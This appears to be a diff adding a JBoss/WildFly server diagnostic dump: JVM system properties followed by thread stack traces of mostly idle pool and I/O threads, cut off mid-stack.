+java.specification.vendor: Oracle Corporation +org.jboss.resolver.warning: true +java.library.path: /usr/java/packages/lib/aarch64:/lib:/usr/lib +java.vendor.url: http://java.oracle.com/ +java.vm.vendor: Oracle Corporation +java.runtime.name: OpenJDK Runtime Environment +sun.java.command: /usr/local/jboss/jboss-modules.jar -mp /usr/local/jboss/modules org.jboss.as.standalone -Djboss.home.dir=/usr/local/jboss -Djboss.server.base.dir=/usr/local/jboss/standalone -b 0.0.0.0 +java.class.path: /usr/local/jboss/jboss-modules.jar +org.jboss.security.context.ThreadLocal: true +jboss.server.log.dir: /usr/local/jboss/standalone/log +java.vm.specification.name: Java Virtual Machine Specification +java.vm.specification.version: 1.8 +sun.cpu.endian: little +sun.os.patch.level: unknown +java.awt.headless: true +java.io.tmpdir: /tmp +java.vendor.url.bug: http://bugreport.sun.com/bugreport/ +jboss.server.data.dir: /usr/local/jboss/standalone/data +os.arch: aarch64 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.ext.dirs: /usr/local/openjdk-8/jre/lib/ext:/usr/java/packages/lib/ext +user.dir: /usr/local/jboss +line.separator: + +java.vm.name: OpenJDK 64-Bit Server VM +jboss.server.base.dir: /usr/local/jboss/standalone +java.security.auth.login.config: jar:file:/usr/local/jboss/modules/system/layers/base/org/picketbox/main/picketbox-5.0.3.Final-redhat-00007.jar!/auth.conf +javax.management.builder.initial: org.jboss.as.jmx.PluggableMBeanServerBuilder +file.encoding: UTF-8 +java.specification.version: 1.8 +jboss.host.name: 85dc59497aba +jboss.server.name: 85dc59497aba + +=========================================== + +ThreadStacks: +"default I/O-3" #105 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"management I/O-1" #75 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"ServerService Thread Pool -- 25" #48 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"RxCachedWorkerPoolEvictor-1" #138 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@768dc697 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"MSC service thread 1-8" #21 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@5ae1a6a + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + +"ServerService Thread Pool -- 2" #25 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 79" #142 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 50" #76 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-11" #113 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"ServerService Thread Pool -- 56" #84 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ConnectionValidator" #100 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@57e8335a + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2163) + at org.jboss.jca.core.connectionmanager.pool.validator.ConnectionValidator$ConnectionValidatorRunner.run(ConnectionValidator.java:268) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ServerService Thread Pool -- 51" #79 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 24" #47 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 10" #33 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 66" #94 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 77" #143 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 41" #66 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 13" #36 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"MSC service thread 1-4" #17 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@5ae1a6a + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + +"ServerService Thread Pool -- 31" #54 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Periodic Recovery" #129 [TIMED_WAITING] on java.lang.Object@5d6980d + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery.doBackoffWait(PeriodicRecovery.java:668) + at com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery.doWorkInternal(PeriodicRecovery.java:786) + at com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery.run(PeriodicRecovery.java:382) + +"ServerService Thread Pool -- 46" #71 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 38" #63 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1d775f5e + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Reference Reaper #2" #134 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@687f6bd0 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at org.wildfly.common.ref.References$ReaperThread.run(References.java:76) + +"ServerService Thread Pool -- 32" #55 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 72" #136 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-16" #118 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"management I/O-2" #77 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"default I/O-4" #106 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"default I/O-21" #123 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:551) + +"IdleRemover" #101 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e1bf766 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2163) + at org.jboss.jca.core.connectionmanager.pool.idle.IdleRemover$IdleRemoverRunner.run(IdleRemover.java:261) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Timer-1" #126 [WAITING] on java.util.TaskQueue@4fbc1e58 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"Reference Reaper" #10 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@6896255e + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at org.jboss.modules.ref.References$ReaperThread.run(References.java:64) + +"management Accept" #78 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@7b24e277 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216) + +"ServerService Thread Pool -- 22" #45 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-15" #117 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"ServerService Thread Pool -- 19" #42 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 36" #59 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 37" #62 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-22" #124 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"ServerService Thread Pool -- 69" #97 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@5a259ab2 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"DeploymentScanner-threads - 2" #61 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@75440170 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 70" #98 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 71" #99 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Transaction Reaper" #131 daemon [TIMED_WAITING] on com.arjuna.ats.arjuna.coordinator.TransactionReaper@2c216653 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.arjuna.ats.internal.arjuna.coordinator.ReaperThread.run(ReaperThread.java:90) + +"ServerService Thread Pool -- 34" #57 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"MSC service thread 1-1" #14 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@5ae1a6a + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + +"default Accept" #125 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"ServerService Thread Pool -- 61" #89 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 11" #34 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 30" #53 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 27" #50 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 65" #93 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at 